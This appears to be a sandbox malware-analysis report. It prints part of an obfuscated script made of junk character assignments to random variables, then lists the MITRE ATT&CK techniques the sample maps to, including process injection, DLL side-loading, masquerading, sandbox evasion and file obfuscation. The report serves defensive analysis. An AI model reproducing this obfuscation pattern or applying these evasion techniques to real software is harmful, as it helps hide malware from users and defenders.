323	uhywphe = "a";
324	uhywphe = "Y";
325	uhywphe = "j";
326	uhywphe = "p";
327	uhywphe = "q";
328	uhywphe = "C";
329	uhywphe = "b";
330	uhywphe = "K";
331	uhywphe = "E";
332	uhywphe = "Q";
333	uhywphe = "U";
334	uhywphe = "p";
335	uhywphe = "h";
336	uhywphe = "Z";
337	uhywphe = "g";
338	mmsxxfemb = "n";
339	mmsxxfemb = "L";
340	mmsxxfemb = "o";
341	mmsxxfemb = "R";
342	mmsxxfemb = "P";
343	mmsxxfemb = "i";
344	mmsxxfemb = "j";
345	mmsxxfemb = "Y";
346	mmsxxfemb = "K";
347	mmsxxfemb = "a";
348	mmsxxfemb = "z";
349	mmsxxfemb = "O";
350	mmsxxfemb = "P";
351	mmsxxfemb = "h";
352	mmsxxfemb = "y";
353	mmsxxfemb = "m";
354	mmsxxfemb = "L";
355	mmsxxfemb = "Q";
356	mmsxxfemb = "H";
357	ubixuh = "g";
358	ubixuh = "O";
359	ubixuh = "J";
360	ubixuh = "E";
361	ubixuh = "x";
362	ubixuh = "r";
363	ubixuh = "W";
364	ubixuh = "S";
365	ubixuh = "n";
366	ubixuh = "r";
367	ubixuh = "W";
368	ubixuh = "D";
369	ubixuh = "l";
370	ubixuh = "q";
371	ubixuh = "B";
372	ubixuh = "R";
373	ubixuh = "j";
374	ubixuh = "x";
375	ubixuh = "Z";
376	ubixuh = "S";
377	ubixuh = "l";
378	ubixuh = "v";
379	ubixuh = "X";
380	ubixuh = "Z";
381	ubixuh = "Y";
382	ubixuh = "x";
383	ubixuh = "j";
384	ubixuh = "j";
385	ubixuh = "j";
386	ubixuh = "M";
387	ubixuh = "Y";
388	ubixuh = "V";
389	ubixuh = "R";
390	ubixuh = "o";
391	ubixuh = "G";
392	ubixuh = "n";
393	ubixuh = "k";
394	ubixuh = "k";
395	lndlcp = "q";
396	lndlcp = "t";
397	lndlcp = "y";
398	lndlcp = "A";
399	lndlcp = "u";
400	lndlcp = "A";
401	lndlcp = "z";
402	lndlcp = "p";
403	lndlcp = "G";
404	lndlcp = "p";
405	lndlcp = "h";
406	lndlcp = "j";
407	lndlcp = "O";
408	lndlcp = "r";
409	lndlcp = "P";
410	lndlcp = "P";
411	lndlcp = "G";
412	lndlcp = "b";
413	lndlcp = "n";
414	lndlcp = "j";
415	lndlcp = "W";
416	lndlcp = "s";
417	lndlcp = "R";
418	lndlcp = "C";
419	rwmlt = "o";
420	rwmlt = "U";
421	rwmlt = "C";
422	rwmlt = "m";
423	rwmlt = "u";
424	rwmlt = "u";
425	rwmlt = "A";
426	rwmlt = "L";
427	rwmlt = "Z";
428	rwmlt = "t";
429	rwmlt = "d";
430	rwmlt = "Q";
431	rwmlt = "g";
432	rwmlt = "a";
433	rwmlt = "O";
434	rwmlt = "C";
435	rwmlt = "r";
436	rwmlt = "k";
437	rwmlt = "L";
438	rwmlt = "Y";
439	rwmlt = "m";
440	rwmlt = "b";
441	rwmlt = "p";
442	rwmlt = "q";
443	rwmlt = "G";
444	rwmlt = "H";
445	rwmlt = "P";
446	rwmlt = "T";
447	rwmlt = "q";
448	rwmlt = "W";
449	rwmlt = "K";
450	rwmlt = "I";
451	rwmlt = "f";
452	dwhyao = "F";
453	dwhyao = "T";
454	dwhyao = "c";
455	dwhyao = "N";
456	dwhyao = "r";
457	dwhyao = "g";
458	dwhyao = "n";
459	dwhyao = "l";
460	dwhyao = "D";
461	dwhyao = "o";
462	dwhyao = "g";
463	dwhyao = "y";
464	dwhyao = "f";
465	dwhyao = "U";
466	dwhyao = "W";
467	dwhyao = "s";
468	dwhyao = "J";
469	dwhyao = "R";
470	dwhyao = "n";
471	dwhyao = "o";
472	dwhyao = "w";
473	dwhyao = "e";
474	dwhyao = "w";
475	dwhyao = "M";
476	dwhyao = "p";
477	dwhyao = "J";
478	dwhyao = "x";
479	dwhyao = "l";
480	dwhyao = "y";
481	dwhyao = "Q";
482	dwhyao = "A";
483	dwhyao = "e";
484	dwhyao = "o";
485	dwhyao = "R";
486	dwhyao = "P";
487	dwhyao = "z";
488	dwhyao = "R";
489	zjeqiwl = "y";
490	zjeqiwl = "r";
491	zjeqiwl = "G";
492	zjeqiwl = "S";
493	zjeqiwl = "-";
494	pbkxi = "u";
495	pbkxi = "m";
496	pbkxi = "g";
497	pbkxi = "q";
498	pbkxi = "h";
499	pbkxi = "r";
500	pbkxi = "p";
501	pbkxi = "n";
502	pbkxi = "c";
503	jgtcgzwv = "M";
504	jgtcgzwv = "B";
505	jgtcgzwv = "U";
506	jgtcgzwv = "b";
507	jgtcgzwv = "g";
508	jgtcgzwv = "m";
509	jgtcgzwv = "L";
510	jgtcgzwv = "w";
511	jgtcgzwv = "Q";
512	jgtcgzwv = "y";
513	jgtcgzwv = "D";
514	jgtcgzwv = "u";
515	jgtcgzwv = "1";
516	tufqby = "r";
517	tufqby = "d";
518	tufqby = "p";
519	tufqby = "v";
520	eiwzc = "F";
521	eiwzc = "R";
522	eiwzc = "k";
523	eiwzc = "g";
524	eiwzc = "R";
525	eiwzc = "Y";
526	eiwzc = "s";
527	eiwzc = "j";
528	eiwzc = "C";
529	eiwzc = "f";
530	eiwzc = "d";
531	xmfqrf = "h";
532	lzzavokt = "m";
533	lzzavokt = "G";
534	lzzavokt = "r";
535	lzzavokt = "p";
536	lzzavokt = "P";
537	lzzavokt = "C";
538	lzzavokt = "i";
539	lzzavokt = "R";
540	lzzavokt = "T";
541	lzzavokt = "w";
542	lzzavokt = "M";
543	lzzavokt = "x";
544	lzzavokt = "o";
545	lzzavokt = "P";
546	lzzavokt = "L";
547	lzzavokt = "e";
548	lzzavokt = "h";
549	lzzavokt = "D";
550	lzzavokt = "j";
551	lzzavokt = "j";
552	lzzavokt = "q";
553	lzzavokt = "n";
554	lzzavokt = "y";
555	lzzavokt = "h";
556	lzzavokt = "V";
557	lzzavokt = "n";
558	lzzavokt = "B";
559	lzzavokt = "i";
560	lzzavokt = "T";
561	lzzavokt = "q";
562	lzzavokt = "n";
563	lzzavokt = "Z";
564	lzzavokt = "l";
565	lzzavokt = "W";
566	lzzavokt = "Z";
567	lzzavokt = "G";
568	lzzavokt = "X";
569	lzzavokt = "B";
570	lzzavokt = "G";
571	lzzavokt = "p";
572	scvekmqkt = "H";
573	scvekmqkt = "A";
574	scvekmqkt = "q";
575	scvekmqkt = "N";
576	scvekmqkt = "w";
577	scvekmqkt = "t";
578	scvekmqkt = "F";
579	scvekmqkt = "g";
580	scvekmqkt = "x";
581	scvekmqkt = "Z";
582	scvekmqkt = "a";
583	scvekmqkt = "Y";
584	scvekmqkt = "n";
585	scvekmqkt = "A";
586	scvekmqkt = "R";
587	scvekmqkt = "G";
588	scvekmqkt = "e";
589	scvekmqkt = "P";
590	scvekmqkt = "N";
591	scwzjrunu = "b";
592	scwzjrunu = "p";
593	scwzjrunu = "n";
594	scwzjrunu = "D";
595	scwzjrunu = "k";
596	scwzjrunu = "k";
597	scwzjrunu = "S";
598	scwzjrunu = "a";
599	scwzjrunu = "M";
600	scwzjrunu = "f";
601	scwzjrunu = "G";
602	scwzjrunu = "F";
603	scwzjrunu = "P";
604	xqwylrqto = "o";
605	xqwylrqto = "s";
606	xqwylrqto = "C";
607	xqwylrqto = "M";
608	xqwylrqto = "v";
609	xqwylrqto = "q";
610	xqwylrqto = "q";
611	bjhkbbxr = "G";
612	bjhkbbxr = "M";
613	bjhkbbxr = "v";
614	bjhkbbxr = "X";
615	bjhkbbxr = "A";
616	bjhkbbxr = "q";
617	bjhkbbxr = "B";
618	bjhkbbxr = "J";
619	bjhkbbxr = "Z";
620	bjhkbbxr = "G";
621	bjhkbbxr = "g";
622	bjhkbbxr = "S";
623	bjhkbbxr = "E";
624	bjhkbbxr = "x";
625	bjhkbbxr = "F";
626	bjhkbbxr = "p";
627	bjhkbbxr = "l";
628	bjhkbbxr = "s";
629	bjhkbbxr = "J";
630	bjhkbbxr = "n";
631	bjhkbbxr = "F";
632	bjhkbbxr = "K";
633	bjhkbbxr = "m";
634	bjhkbbxr = "Q";
635	bjhkbbxr = "T";
636	bjhkbbxr = "0";
637	ubjgkkpdi = "f";
638	ubjgkkpdi = "Y";
639	ubjgkkpdi = "q";
640	ubjgkkpdi = "v";
641	ubjgkkpdi = "v";
642	ubjgkkpdi = "i";
643	ubjgkkpdi = "z";
644	ubjgkkpdi = "n";
645	ubjgkkpdi = "G";
646	ubjgkkpdi = "x";
647	ubjgkkpdi = "h";
648	ubjgkkpdi = "s";
649	ubjgkkpdi = "I";
650	ubjgkkpdi = "I";
651	ubjgkkpdi = "U";
652	ubjgkkpdi = "Z";
653	ubjgkkpdi = "R";
654	ubjgkkpdi = "a";
655	ubjgkkpdi = "m";
656	ubjgkkpdi = "T";
657	ubjgkkpdi = "h";
658	ubjgkkpdi = "d";
659	ubjgkkpdi = "n";
660	ubjgkkpdi = "a";
661	ubjgkkpdi = "X";
662	ubjgkkpdi = "i";
663	nuhkpw = "a";
664	nuhkpw = "w";
665	nuhkpw = "q";
666	nuhkpw = "Y";
667	nuhkpw = "r";
668	nuhkpw = "G";
669	nuhkpw = "g";
670	nuhkpw = "g";
671	nuhkpw = "S";
672	nuhkpw = "X";
673	nuhkpw = "b";
674	nuhkpw = "S";
675	nuhkpw = "r";
676	nuhkpw = "G";
677	nuhkpw = "p";
678	nuhkpw = "W";
679	nuhkpw = "Q";
680	nuhkpw = "e";
681	nuhkpw = "e";
682	grqeg = "H";
683	grqeg = "m";
684	grqeg = "u";
685	grqeg = "F";
686	grqeg = "E";
687	grqeg = "M";
688	grqeg = "V";
689	grqeg = "c";
690	grqeg = "l";
691	grqeg = "V";
692	grqeg = "A";
693	grqeg = "D";
694	grqeg = "C";
695	grqeg = "G";
696	grqeg = "L";
697	grqeg = "o";
698	grqeg = "J";
699	grqeg = "p";
700	grqeg = "P";
701	grqeg = "O";
702	grqeg = "D";
703	grqeg = "L";
704	grqeg = "x";
705	grqeg = "y";
706	grqeg = "W";
707	grqeg = "V";
708	grqeg = "U";
709	grqeg = "X";
710	grqeg = "s";
711	grqeg = "Y";
712	grqeg = "d";
713	grqeg = "U";
714	grqeg = "m";
715	grqeg = "L";
716	grqeg = "c";
717	grqeg = "v";
718	grqeg = "I";
719	grqeg = "x";
720	grqeg = "b";
721	grqeg = "g";
722	grqeg = "y";
723	grqeg = "Y";
724	sfvacy = "3";
725	ckokfiyd = "Y";
726	ckokfiyd = "g";
727	ckokfiyd = "k";
728	ckokfiyd = "@";
729	zinzpzxhw = "N";
730	zinzpzxhw = "h";
731	zinzpzxhw = "F";
732	zinzpzxhw = "l";
733	zinzpzxhw = "X";
734	zinzpzxhw = "B";
735	zinzpzxhw = "Y";
736	zinzpzxhw = "K";
737	zinzpzxhw = "y";
738	zinzpzxhw = "N";
739	zinzpzxhw = "D";
740	zinzpzxhw = "O";
741	zinzpzxhw = "d";
742	zinzpzxhw = "U";
743	zinzpzxhw = "L";
744	zinzpzxhw = "K";
745	zinzpzxhw = "U";
746	zinzpzxhw = "w";
747	zinzpzxhw = "K";
748	zinzpzxhw = "r";
749	zinzpzxhw = "R";
750	zinzpzxhw = "O";
751	zinzpzxhw = "o";
752	zinzpzxhw = "y";
753	zinzpzxhw = "V";
754	zinzpzxhw = "l";
755	zinzpzxhw = "E";
756	kqsaabh = "i";
757	kqsaabh = "S";
758	kqsaabh = "j";
759	kqsaabh = "Z";
760	kqsaabh = "j";
761	kqsaabh = "M";
762	kqsaabh = "R";
763	kqsaabh = "e";
764	kqsaabh = "z";
765	kqsaabh = "Q";
766	kqsaabh = "G";
767	kqsaabh = "Y";
768	kqsaabh = "R";
769	kqsaabh = "c";
770	kqsaabh = "P";
771	kqsaabh = "e";
772	kqsaabh = "I";
773	kqsaabh = "N";
774	kqsaabh = "D";
775	kqsaabh = "M";
776	kqsaabh = "g";
777	kqsaabh = "z";
778	kqsaabh = "j";
779	kqsaabh = "y";
780	kqsaabh = "o";
781	kqsaabh = "M";
782	kqsaabh = "d";
783	kqsaabh = "U";
784	kqsaabh = "p";
785	kqsaabh = "Q";
786	kqsaabh = "Q";
787	kqsaabh = "T";
788	kqsaabh = "I";
789	kqsaabh = "w";
790	kqsaabh = "A";
791	kqsaabh = "O";
792	kqsaabh = "V";
793	kqsaabh = "v";
794	kqsaabh = "g";
795	kqsaabh = "Z";
796	kqsaabh = "q";
797	kqsaabh = "v";
798	kqsaabh = "f";
799	kqsaabh = "4";
800	cdircjas = "e";
801	cdircjas = "g";
802	cdircjas = "a";
803	cdircjas = "u";
804	cdircjas = "v";
805	cdircjas = "T";
806	cdircjas = "b";
807	cdircjas = "u";
808	cdircjas = "N";
809	cdircjas = "d";
810	cdircjas = "c";
811	cdircjas = "W";
812	cdircjas = "Q";
813	cdircjas = "v";
814	cdircjas = "R";
815	cdircjas = "P";
816	cdircjas = "C";
817	cdircjas = "C";
818	cdircjas = "C";
819	cdircjas = "J";
820	cdircjas = "m";
821	cdircjas = "C";
822	cdircjas = "a";
823	cdircjas = "l";
824	cdircjas = "f";
825	cdircjas = "V";
826	cdircjas = "l";
827	cdircjas = "o";
828	cdircjas = "z";
829	cdircjas = "M";
830	cdircjas = "C";
831	cdircjas = "Q";
832	cdircjas = "E";
833	cdircjas = "y";
834	cdircjas = "q";
835	cdircjas = "k";
836	cdircjas = "c";
837	cdircjas = "p";
838	cdircjas = "b";
839	cdircjas = "g";
840	cdircjas = " ";
841	ofzjsfcgk = "n";
842	ofzjsfcgk = "o";
843	sgvheamr = "j";
844	sgvheamr = "k";
845	sgvheamr = "t";
846	sgvheamr = "Q";
847	sgvheamr = "f";
848	sgvheamr = "w";
849	sgvheamr = "U";
850	sgvheamr = "I";
851	sgvheamr = "d";
852	sgvheamr = "i";
853	sgvheamr = "y";
854	sgvheamr = "u";
855	gmmwt = "t";
856	gmmwt = "N";
857	gmmwt = "z";
858	gmmwt = "X";
859	gmmwt = "p";
860	gmmwt = "L";
861	gmmwt = "L";
862	gmmwt = "F";
863	gmmwt = "u";
864	gmmwt = "Z";
865	gmmwt = "w";
866	gmmwt = "F";
867	gmmwt = "t";
868	gmmwt = "I";
869	gmmwt = "Y";
870	gmmwt = "O";
871	gmmwt = "O";
872	gmmwt = "L";
873	gmmwt = "v";
874	gmmwt = "k";
875	gmmwt = "Q";
876	gmmwt = "H";
877	gmmwt = "S";
878	dktmgcu = "g";
879	dktmgcu = "P";
880	dktmgcu = "f";
881	dktmgcu = "d";
882	dktmgcu = "z";
883	dktmgcu = "m";
884	dktmgcu = "D";
885	dktmgcu = "O";
886	dktmgcu = "a";
887	dktmgcu = "B";
888	dktmgcu = "D";
889	dktmgcu = "i";
890	dktmgcu = "T";
891	dktmgcu = "n";
892	dktmgcu = "Z";
893	dktmgcu = "s";
894	dktmgcu = "m";
895	dktmgcu = "o";
896	dktmgcu = "z";
897	dktmgcu = "O";
898	pmslvae = "M";
899	pmslvae = "m";
900	pmslvae = "H";
901	pmslvae = "z";
902	pmslvae = "H";
903	pmslvae = "C";
904	pmslvae = "S";
905	pmslvae = "R";
906	pmslvae = "u";
907	pmslvae = "E";
908	pmslvae = "P";
909	pmslvae = "l";
910	pmslvae = "W";
911	pmslvae = "u";
912	pmslvae = "z";
913	pmslvae = "c";
914	pmslvae = "M";
915	pmslvae = "Z";
916	pmslvae = "L";
917	pmslvae = "w";
918	pmslvae = "w";
919	pmslvae = "p";
920	pmslvae = "t";
921	pmslvae = "k";
922	pmslvae = "g";
923	pmslvae = "l";
924	pmslvae = "q";
925	pmslvae = "n";
926	pmslvae = "O";
927	pmslvae = "R";
928	pmslvae = "n";
929	pmslvae = "c";
930	pmslvae = "a";
931	pmslvae = "u";
932	pmslvae = "W";
933	pmslvae = "p";
934	pmslvae = "z";
935	pmslvae = "G";
936	pmslvae = "C";
937	pmslvae = "a";
938	pmslvae = "Q";
939	pmslvae = "v";
940	pmslvae = "\"";
941	bmntpxhcj = "C";
942	bmntpxhcj = "H";
943	bmntpxhcj = "z";
944	bmntpxhcj = "L";
945	bmntpxhcj = "x";
946	bmntpxhcj = "v";
947	bmntpxhcj = "N";
948	bmntpxhcj = "N";
949	bmntpxhcj = "b";
950	bmntpxhcj = "d";
951	bmntpxhcj = "p";
952	bmntpxhcj = "P";
953	bmntpxhcj = "f";
954	bmntpxhcj = "m";
955	bmntpxhcj = "u";
956	bmntpxhcj = "p";
957	bmntpxhcj = "I";
958	bmntpxhcj = "Z";
959	bmntpxhcj = "D";
960	bmntpxhcj = "E";
961	bmntpxhcj = "A";
962	bmntpxhcj = "D";
963	bmntpxhcj = "t";
964	bmntpxhcj = "N";
965	bmntpxhcj = "V";
966	bmntpxhcj = "q";
967	bmntpxhcj = "s";
968	bmntpxhcj = "A";
969	bmntpxhcj = "H";
970	bmntpxhcj = "o";
971	bmntpxhcj = "s";
972	bmntpxhcj = "i";
973	bmntpxhcj = "D";
974	bmntpxhcj = "f";
975	bmntpxhcj = "F";
976	flihqznws = "u";
977	flihqznws = "c";
978	flihqznws = "U";
979	flihqznws = "k";
980	flihqznws = "Z";
981	flihqznws = "Z";
982	flihqznws = "v";
983	flihqznws = "O";
984	flihqznws = "V";
985	flihqznws = "U";
986	flihqznws = "O";
987	flihqznws = "v";
988	flihqznws = "X";
989	flihqznws = "K";
990	flihqznws = "f";
991	flihqznws = "t";
992	flihqznws = "O";
993	flihqznws = "H";
994	flihqznws = "U";
995	flihqznws = "i";
996	flihqznws = "Y";
997	flihqznws = "m";
998	flihqznws = "f";
999	flihqznws = "z";
1000	flihqznws = "h";
1001	flihqznws = "y";
1002	flihqznws = "r";
1003	flihqznws = "V";
1004	flihqznws = "B";
1005	flihqznws = "m";
1006	flihqznws = "V";
1007	flihqznws = "h";
1008	flihqznws = "W";
1009	flihqznws = "n";
1010	flihqznws = "z";
1011	flihqznws = "h";
1012	flihqznws = "E";
1013	flihqznws = "S";
1014	flihqznws = "r";
1015	flihqznws = "y";
1016	flihqznws = "d";
1017	flihqznws = "U";
1018	flihqznws = "7";
1019	wcxwghraq = "v";
1020	wcxwghraq = "a";
1021	wcxwghraq = "x";
1022	wcxwghraq = "S";
1023	wcxwghraq = "b";
1024	wcxwghraq = "p";
1025	wcxwghraq = "a";
1026	wcxwghraq = "m";
1027	wcxwghraq = "a";
1028	wcxwghraq = "Q";
1029	wcxwghraq = "P";
1030	wcxwghraq = "X";
1031	wcxwghraq = "X";
1032	wcxwghraq = "x";
1033	wcxwghraq = "n";
1034	wcxwghraq = "O";
1035	wcxwghraq = "c";
1036	wcxwghraq = "F";
1037	wcxwghraq = "J";
1038	wcxwghraq = "P";
1039	wcxwghraq = "C";
1040	wcxwghraq = "P";
1041	wcxwghraq = "X";
1042	wcxwghraq = "A";
1043	wcxwghraq = "&";
1044	nuuqzgel = "q";
1045	nuuqzgel = "M";
1046	nuuqzgel = "R";
1047	nuuqzgel = "u";
1048	nuuqzgel = "M";
1049	nuuqzgel = "V";
1050	nuuqzgel = "U";
1051	nuuqzgel = "K";
1052	nuuqzgel = "F";
1053	nuuqzgel = "U";
1054	nuuqzgel = "b";
1055	njqwimup = "T";
1056	njqwimup = "i";
1057	njqwimup = "Y";
1058	njqwimup = "s";
1059	njqwimup = "W";
1060	njqwimup = "D";
1061	njqwimup = "j";
1062	njqwimup = "r";
1063	njqwimup = "C";
1064	njqwimup = "O";
1065	njqwimup = "k";
1066	njqwimup = "g";
1067	njqwimup = "l";
1068	njqwimup = "h";
1069	njqwimup = "X";
1070	njqwimup = "F";
1071	njqwimup = "d";
1072	njqwimup = "a";
1073	njqwimup = "I";
1074	njqwimup = "8";
1075	hktpvcsut = "o";
1076	hktpvcsut = "a";
1077	hktpvcsut = "x";
1078	hktpvcsut = "y";
1079	hktpvcsut = "U";
1080	hktpvcsut = "R";
1081	hktpvcsut = "u";
1082	hktpvcsut = "G";
1083	hktpvcsut = "i";
1084	hktpvcsut = "w";
1085	hktpvcsut = "j";
1086	hktpvcsut = "y";
1087	hktpvcsut = "T";
1088	bmlfvbvap = "i";
1089	bmlfvbvap = "T";
1090	bmlfvbvap = "a";
1091	bmlfvbvap = "E";
1092	bmlfvbvap = "l";
1093	bmlfvbvap = "A";
1094	bmlfvbvap = "i";
1095	bmlfvbvap = "K";
1096	bmlfvbvap = "S";
1097	bmlfvbvap = "K";
1098	bmlfvbvap = "f";
1099	bmlfvbvap = "j";
1100	bmlfvbvap = "g";
1101	bmlfvbvap = "D";
1102	bmlfvbvap = "P";
1103	bmlfvbvap = "N";
1104	bmlfvbvap = "H";
1105	bmlfvbvap = "Y";
1106	bmlfvbvap = "i";
1107	bmlfvbvap = "N";
1108	bmlfvbvap = "o";
1109	bmlfvbvap = "S";
1110	bmlfvbvap = "Z";
1111	bmlfvbvap = "w";
1112	bmlfvbvap = "k";
1113	bmlfvbvap = "a";
1114	bmlfvbvap = "j";
1115	bmlfvbvap = "n";
1116	bmlfvbvap = "a";
1117	bmlfvbvap = "f";
1118	bmlfvbvap = "u";
1119	bmlfvbvap = "l";
1120	bmlfvbvap = "A";
1121	bmlfvbvap = "S";
1122	bmlfvbvap = "I";
1123	bmlfvbvap = "i";
1124	bmlfvbvap = "C";
1125	bmlfvbvap = "X";
1126	bmlfvbvap = "q";
1127	bmlfvbvap = "w";
1128	bmlfvbvap = "q";
1129	bmlfvbvap = "w";
1130	bmlfvbvap = "g";
1131	bmlfvbvap = "x";
1132	klmpnxa = "r";
1133	klmpnxa = "m";
1134	klmpnxa = "c";
1135	klmpnxa = "x";
1136	klmpnxa = "Z";
1137	klmpnxa = "V";
1138	klmpnxa = "Q";
1139	klmpnxa = "i";
1140	klmpnxa = "x";
1141	klmpnxa = "x";
1142	klmpnxa = "a";
1143	klmpnxa = "R";
1144	klmpnxa = "U";
1145	qvfckmwr = "U";
1146	qvfckmwr = "e";
1147	qvfckmwr = "Q";
1148	qvfckmwr = "k";
1149	qvfckmwr = "l";
1150	qvfckmwr = "q";
1151	qvfckmwr = "m";
1152	qvfckmwr = "E";
1153	qvfckmwr = "Q";
1154	qvfckmwr = "q";
1155	qvfckmwr = "Z";
1156	qvfckmwr = "K";
1157	qvfckmwr = "b";
1158	qvfckmwr = "p";
1159	qvfckmwr = "k";
1160	qvfckmwr = "C";
1161	qvfckmwr = "M";
1162	qvfckmwr = "M";
1163	qvfckmwr = "I";
1164	qvfckmwr = "o";
1165	qvfckmwr = "Q";
1166	qvfckmwr = "y";
1167	qvfckmwr = "U";
1168	qvfckmwr = "I";
1169	ftatzwdrk = "L";
1170	ftatzwdrk = "j";
1171	ftatzwdrk = "w";
1172	ftatzwdrk = "r";
1173	ftatzwdrk = "A";
1174	ftatzwdrk = "g";
1175	ftatzwdrk = "I";
1176	ftatzwdrk = "O";
1177	ftatzwdrk = "Q";
1178	ftatzwdrk = "w";
1179	cenrt = "s";
1180	cenrt = "h";
1181	cenrt = "v";
1182	cenrt = "j";
1183	cenrt = "R";
1184	cenrt = "s";
1185	cenrt = "M";
1186	cenrt = "O";
1187	cenrt = "I";
1188	cenrt = "t";
1189	cenrt = "s";
1190	cenrt = "o";
1191	cenrt = "a";
1192	cenrt = "o";
1193	cenrt = "R";
1194	cenrt = "j";
1195	cenrt = "L";
1196	cenrt = "s";
1197	cenrt = "B";
1198	cenrt = "O";
1199	cenrt = "D";
1200	cenrt = "h";
1201	cenrt = "\\";
1202	egkyevjyx = "R";
1203	egkyevjyx = "m";
1204	egkyevjyx = "O";
1205	egkyevjyx = "l";
1206	egkyevjyx = "Q";
1207	egkyevjyx = "s";
1208	egkyevjyx = "s";
1209	egkyevjyx = "B";
1210	egkyevjyx = "S";
1211	egkyevjyx = "U";
1212	egkyevjyx = "d";
1213	egkyevjyx = "I";
1214	egkyevjyx = "k";
1215	egkyevjyx = "B";
1216	egkyevjyx = "u";
1217	egkyevjyx = "z";
1218	egkyevjyx = "t";
1219	egkyevjyx = "i";
1220	egkyevjyx = "F";
1221	egkyevjyx = "t";
1222	egkyevjyx = "T";
1223	egkyevjyx = "Q";
1224	egkyevjyx = "L";
1225	egkyevjyx = "l";
1226	egkyevjyx = "n";
1227	egkyevjyx = "N";
1228	egkyevjyx = "9";
1229	gnixwcsgu = "Q";
1230	lzpqmrgpp ( );	lzpqmrgpp() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
